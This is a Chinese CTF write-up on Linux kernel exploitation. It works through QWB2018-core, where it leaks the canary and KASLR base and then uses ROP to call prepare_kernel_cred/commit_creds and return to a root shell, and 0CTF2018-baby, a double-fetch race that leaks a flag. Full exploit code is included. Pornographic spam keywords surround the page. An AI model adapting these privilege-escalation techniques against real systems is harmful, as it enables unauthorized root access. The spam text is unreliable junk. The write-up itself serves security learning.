<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      初探內核(二)

      kernel rop

      以 QWB2018-core 為例

      多了 vmlinux ,該文件可以用來尋找 gadget 進行 rop

      vmlinux(“vm”代表的“virtual memory”)是一個包括linux kernel的靜態鏈接的可運行文件,編譯內核源碼得到的最原始的內核文件,未壓縮,比較大,是 EF 格式的文件。

      先修改 start.sh 中的運行內存為 256m ,不然跑不起來,并且開啟了 kaslr ,即內核地址隨機化

      接下來解壓 cpio 文件,然后查看 init

      可以看到

      cat /proc/kallsyms > /tmp/kallsyms

      /proc/kallsyms 是內核提供的一個符號表,包含了動態加載的內核模塊的符號,kallsyms 抽取了內核用到的所有函數地址和非棧數據變量地址,生成了一個數據塊,作為只讀數據鏈接進 kernel image,使用root權限可以 /proc/kallsyms 查看。

      雖然開啟了 kalsr,我們在 非 root 權限下也是可以讀 /tmp/kallsyms 文件,那么我們就可以得到 kernel_base 了

      接下來對 core.ko 進行分析

      開啟了 Canary 和 NX

      接著放入 IDA

      init

      exit

      感覺這兩個函數的調用都挺固定的

      主要是 core_ioctl 函數

      其中 a2 = 0x6677889B 時候調用 core_read 函數

      實現了把 v5[off] 從內核空間傳輸到用戶空間 0x40 字節的功能,對 off 沒有限制,當 off = 0x40 時候,會將 canary 傳輸到用戶空間,從而泄露出來。

      其中 a2 = 0x6677889C 時候對全局變量 off 進行賦值

      其中 a2 = 0x6677889D 時候,調用 core_copy_func 函數

      鼠標放到 63 時候會發現 a1 的數據類型的 __int64 ,63 的類型是 int ,而且臺哦用 qmemcpy 函數將數據從 name 復制 a1 字節到 v2 也就是棧上的時候, a1 也是 unsigned __int16 類型,這樣我們就可以實現一個棧溢出漏洞。

      再看 ocre_write 函數

      可以從用戶空間傳輸 0x800 字節到 內核空間,足夠我們寫入 rop 了。

      接下來要弄清楚內核的 rop 應該要怎么寫,我們的目的是為了提權,那么我們需要用到

      prepare_kernel_cred 使用指定進程的 real_cred 去構造一個新的 cred 當參數為 0 的時候,會創建一個 root 權限的 cred commit_creds 可以修改當前進程的 cred

      當我們調用 prepare_kernel_cred(0) 和 commit_creds() 的時候,就可以修改當前進程的 cred ,從而提權成功了。

      要順利 rop,我們還需要先泄露 kernel_base 和 canary 。

      查看 /tmp/kallsyms 可以看到 startup_64 就是 kernel_base

      這里我們在 exp.c 中打開該文件,然后循環讀每一行,匹配 startup_64 是否子串,如果是將前十六個字節放入另一個字符型變量中,并用 %lx 轉換為十六進制數值存放到 kernel_base 中。

      #include <fcntl.h>
      #include <sys/ioctl.h>
      #include <stdlib.h>
      #include <stdio.h>
      #include <string.h>
      #include <sys/wait.h>
      #include <unistd.h>
      long kernel_base = 0;
      void leak_kernel_base(){
          FILE * fd = fopen("/tmp/kallsyms", "r");
          char buf[40];
          while(fgets(buf, 40, fd)){
              if(strstr(buf, "startup_64")){
                  char hem[20];
                  strncpy(hem, buf, 16);
                  sscanf(hem, "%lx", &kernel_base);
                  printf(" kernel_base -> %lx\n", kernel_base);
              break;
              }
          }
      }
      
      int main(){
          leak_kernel_base();
      }

      然后是泄露 canary,先設置 off = 0x40,然后將 canary 傳輸到用戶空間的變量中,就完成了泄露

      #include <fcntl.h>
      #include <sys/ioctl.h>
      #include <stdlib.h>
      #include <stdio.h>
      #include <string.h>
      #include <sys/wait.h>
      #include <unistd.h>
      long kernel_base = 0;
      long canary[8];
      void leak_kernel_base(){
          FILE * fd = fopen("/tmp/kallsyms", "r");
          char buf[40];
          while(fgets(buf, 40, fd)){
              if(strstr(buf, "startup_64")){
                  char hem[20];
                  strncpy(hem, buf, 16);
                  sscanf(hem, "%lx", &kernel_base);
                  printf(" kernel_base -> 0x%lx\n", kernel_base);
              break;
              }
          }
      }
      
      int main(){
          leak_kernel_base();
          // leak canary
          int fd = open("/proc/core", 2);
          ioctl(fd, 0x6677889C, 0x40);
          ioctl(fd, 0x6677889B, canary);
          printf(" canary -> 0x%lx\n", canary[0]);
      }

      效果

      接下來就可以進行 rop 了,我們要調用 prepare_kernel_cred(0) 和 commit_creds() 這兩個函數,需要先找到這兩個函數的偏移。

      可以利用 pwntools 模塊進行尋找

      kenel_base 填入 checksec 檢查的 NO PIE 后面的值。

      這樣我們就找到兩個函數的偏移了,我們也就能通過 rop 調用這兩個函數了

      接下來要解決的是另一個問題,由于我們的棧溢出是在內核態進行的,我們需要執行完棧溢出后返回用戶態。

      利用

      ropper -f ./vmlinux > gadget.txt

      來搜索 gadget ,主要是找到這兩個

      swapgs 用來修改用戶態和內核態的gs寄存器

      iretq 用來恢復用戶態執行上下文

      popfq 會進行彈棧,將其放入標志寄存器中

      這樣就準備充分了,可以開始編寫 exp 的棧溢出提權攻擊部分。

      編寫 exp 前先了解 SMEP&SMAP 保護,SMEP 保護可以禁止內核運行用戶空間代碼,SMAP 保護可以禁止訪問用戶空間數據。

      這道題目兩個保護是都沒有開啟的,所有我們可以直接在 exp 中利用 asm 編寫提權代碼,然后在內核中棧溢出執行。

      void get_root(){
          __asm__(
              "mov rdi, 0;"
              "mov rax, kernel_base;"
              "add rax, 0x9cce0;"
              "call rax;"
              "mov rdi, rax;"
              "mov rax, kernel_base;"
              "add rax, 0x9c8e0;"
              "call rax;"
                  );
      }
      void backdoor(){
          system("/bin/sh");
      }

      在 exp.c 中添加上面兩個自定義函數

      在存在棧溢出漏洞的這個函數中

      可以知道 v2 距離 rbp 為 0x50,距離 canary 為 0x40,因此我們在申請一個 long 類型的數組,一個數組元素占八個字節,因此在 [8] 中存放 canary,在 [10] 存在 get_root 函數的地址。

      接著還需要了解從內核態返回用戶態的時候,即利用 rop 執行 swapgs 然后執行 iretq 后,會利用 iretq 指令后面的棧數據來重置部分寄存器的值。

      iretq
      rip
      cs
      flag
      rsp
      s

      因此我們要先保存好這些寄存器的值,好在返回用戶態的時候不出差錯,利用在用戶空間中編寫的自定義函數即可實現

      long user_cs, user_ss, user_rsp, user_flag;
      void save_status(){
          __asm__(
              "mov user_cs, cs;"      
              "mov user_ss, ss;"      
              "mov user_rsp, rsp;"    
              "pushf;"
              "pop user_flag;" 
                  );
      }

      然后是編寫棧溢出的攻擊數據,定義一個 long 類型的數組,在其中賦值。

      最終 exp

      #include <fcntl.h>
      #include <sys/ioctl.h>
      #include <stdlib.h>
      #include <stdio.h>
      #include <string.h>
      #include <sys/wait.h>
      #include <unistd.h>
      long kernel_base = 0;
      long canary[8];
      void leak_kernel_base(){
          FILE * fd = fopen("/tmp/kallsyms", "r");
          char buf[40];
          while(fgets(buf, 40, fd)){
              if(strstr(buf, "startup_64")){
                  char hem[20];
                  strncpy(hem, buf, 16);
                  sscanf(hem, "%lx", &kernel_base);
                  printf(" kernel_base -> 0x%lx\n", kernel_base);
              break;
              }
          }
      }
      void get_root(){
          __asm__(
              "mov rdi, 0;"
              "mov rax, kernel_base;"
              "add rax, 0x9cce0;"
              "call rax;"
              "mov rdi, rax;"
              "mov rax, kernel_base;"
              "add rax, 0x9c8e0;"
              "call rax;"
                  );
      }
      void backdoor(){
          system("/bin/sh");
      }
      long user_cs, user_ss, user_rsp, user_flag;
      void save_status(){
          __asm__(
              "mov user_cs, cs;"
              "mov user_ss, ss;"
              "mov user_rsp, rsp;"
              "pushf;"
              "pop user_flag;"        
                  );
      }
      int main(){
          leak_kernel_base();
          //Leak canary
          int fd = open("/proc/core", 2);
          ioctl(fd, 0x6677889C, 0x40);
          ioctl(fd, 0x6677889B, canary);
          printf(" canary -> 0x%lx\n", canary[0]);
          // save_status
          save_status();
          // stack oevrflow
          long ROP[20];
          ROP[8] = canary[0];
          ROP[10] = (long)get_root;
          ROP[11] = kernel_base + 0xa012da; // swapgs
          ROP[13] = kernel_base + 0x50ac2; // iretq
          ROP[14] = (long)backdoor;
          ROP[15] = user_cs;
          ROP[16] = user_flag;
          ROP[17] = user_rsp;
          ROP[18] = user_ss;
          write(fd, ROP, sizeof(ROP));
          puts("[+]success!");
          ioctl(fd, 0x6677889A, 0xffffffff00000000 + sizeof(ROP));
      }

      最后編譯的時候要注意

      gcc exp.c -static -o exp -masm=intel

      攻擊效果

      為了加深理解,我們動調調試看看

      將斷點打到 core_copy_func 這里,然后 s 步進

      可以看到此時的 rsi 指向了 name, rdi 指向了內核中拿到棧,利用 rep_movsb 指令從 name 復制數據到 內核的棧中,重復 0xa0 次(見 rcx 寄存器)

      name 放著我們寫好的 rop 鏈

      步進到 ret 指令

      可以看到將要執行我們在用戶空間中編寫 get_root 函數

      然后是兩個返回用戶態的指令 swapgs 和 iretq

      接著執行 backdoor 函數,最后提權成功

      如果開啟了 smep 保護呢,不能夠直接執行用戶態代碼,我們接下來參試這種做法

      在 start.sh 添加這一行 -cpu kvm64,+smep \ ,并且由于 smep 保護開啟后會自動啟動 KTPI ,要關閉掉 KTPI,在 -append 參數中添加 nopti

      qemu-system-x86_64 \
      -m 256M \
      -kernel ./bzImage \
      -initrd  ./core.cpio \
      -append "root=/dev/ram rw nopti console=ttyS0 oops=panic panic=1 quiet kaslr" \
      -s  \
      -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
      -nographic  \
      -cpu kvm64,+smep \

      在這種情況下,由于在內核態中只有執行了用戶態的 get_root 函數,因此我們修改下 get_root 函數即可。

      例如

      void get_root()
      {
          char* (*pkc)(int) = prepare_kernel_cred;
          void (*cc)(char*) = commit_creds;
          (*cc)((*pkc)(0));
          /* puts("[*] root now."); */
      }

      kernle double fetch

      以 0CTF2018-baby 為例

      可以看到啟動腳本 cores =2 ,那么就可以用多線程

      在 init 中發現 模塊文件是 baby.ko ,掛載設備名是 /dev/baby

      接下來是分析驅動模塊

      接著放入 IDA 分析

      唯一有用的是這個函數

      當命令為 0x6666 的時候,會將內核空間中的 flag 地址打印出來

      當命令為 0x1337 的時候,會檢測傳入的結構體指針是否是用戶態地址,其結構體包含的 flag,addr 指針是否存在用戶態中,flag.len 是否與內核中 flag 長度相等

      那么就是多線程競爭了,繞過 if 后用其它線程修改結構體中 flag.addr ,那么就能打印出內核中的 flag 了

      不過要注意一點,在內核中的數據不會直接打印在屏幕中,需要用 dmesg 命令查看。

      雖然這題知道原理,算是比較簡單,但是 exp 就不會編寫了,只能看下 wp 是怎么寫的

      #include <fcntl.h>
      #include <sys/ioctl.h>
      #include <stdlib.h>
      #include <stdio.h>
      #include <string.h>
      #include <sys/wait.h>
      #include <unistd.h>
      #include <pthread.h>
      long kernel_flag;
      void leak_flag(int fd){
          ioctl(fd, 0x6666, 1);
          system("dmesg | tail > 1.txt");
          FILE * fd1 = fopen("1.txt", "r");
          char buf[70];
          char hex[20];
          while(fgets(buf, 65, fd1)){
              if(strstr(buf, "Your flag is at")){
                  strncpy(hex, buf + 31, 16);
                  sscanf(hex, "%lx", &kernel_flag);
                  printf(" flag -> %lx\n", kernel_flag);
                  break;
              }
          }
          fclose(fd1);
      }
      struct flag_struct{
          long addr;
          long len;
      };
      char fake_flag[] = "fake";
      int finish = 0;
      void change_flag(struct flag_struct *s){
          while(!finish){
              s -> addr = kernel_flag;
          }
      }
      int main(){
          int fd = open("/dev/baby", 2);
          leak_flag(fd);
          struct flag_struct flag;
          flag.addr = (long)fake_flag;
          flag.len = 33;
          pthread_t p1;
          pthread_create(&p1, NULL, change_flag, &flag);
          for(int i = 0; i <= 10000; i++){
              ioctl(fd, 0x1337, &flag);
              flag.addr = (long)fake_flag;
          }
          finish = 1;
          system("dmesg | grep flag");
          close(fd);
      }

      編譯時候需要加入 pthread.h 文件頭,命令需要加 -lpthread 參數

      gcc exp.c -static -o exp -lpthread 

      攻擊效果

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

       

      posted @ 2023-03-21 10:31  xshhc  閱讀(128)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 久久夜色国产噜噜亚洲av| 日日猛噜噜狠狠扒开双腿小说| 日本肥老妇色xxxxx日本老妇| 亚洲性一交一乱一伦视频| 南通市| 久操热在线视频免费观看| 精品国产中文字幕在线| 精品免费看国产一区二区| 熟女精品视频一区二区三区| 午夜福利精品国产二区| 国产一区二区av天堂热| 无码人妻久久久一区二区三区| 国内精品人妻一区二区三区| 久久人与动人物a级毛片| 国产午夜精品理论大片| 国产另类ts人妖一区二区| 2021亚洲va在线va天堂va国产| 国产精品久久久福利| 中文字幕一区二区人妻| 亚洲无人区视频在线观看| 国产超碰无码最新上传| 丰满人妻AV无码一区二区三区| 亚洲人精品午夜射精日韩| 国产精品人成视频免费播放| 亚洲国产精品线观看不卡| 亚洲欧美综合人成在线| 欧洲精品色在线观看| 亚洲AV乱码毛片在线播放| 国产精品福利自产拍久久| 国内精品视频区在线2021| 国产69精品久久久久人妻刘玥 | 超碰人人超碰人人| 精品国产高清中文字幕| 蜜臀av人妻国产精品建身房| 亚洲熟妇无码av另类vr影视| 极品尤物被啪到呻吟喷水 | 四虎成人精品无码| 欧洲码亚洲码的区别入口| 久久这里只有精品免费首页| 爆乳女仆高潮在线观看| 亚洲区一区二区三区精品|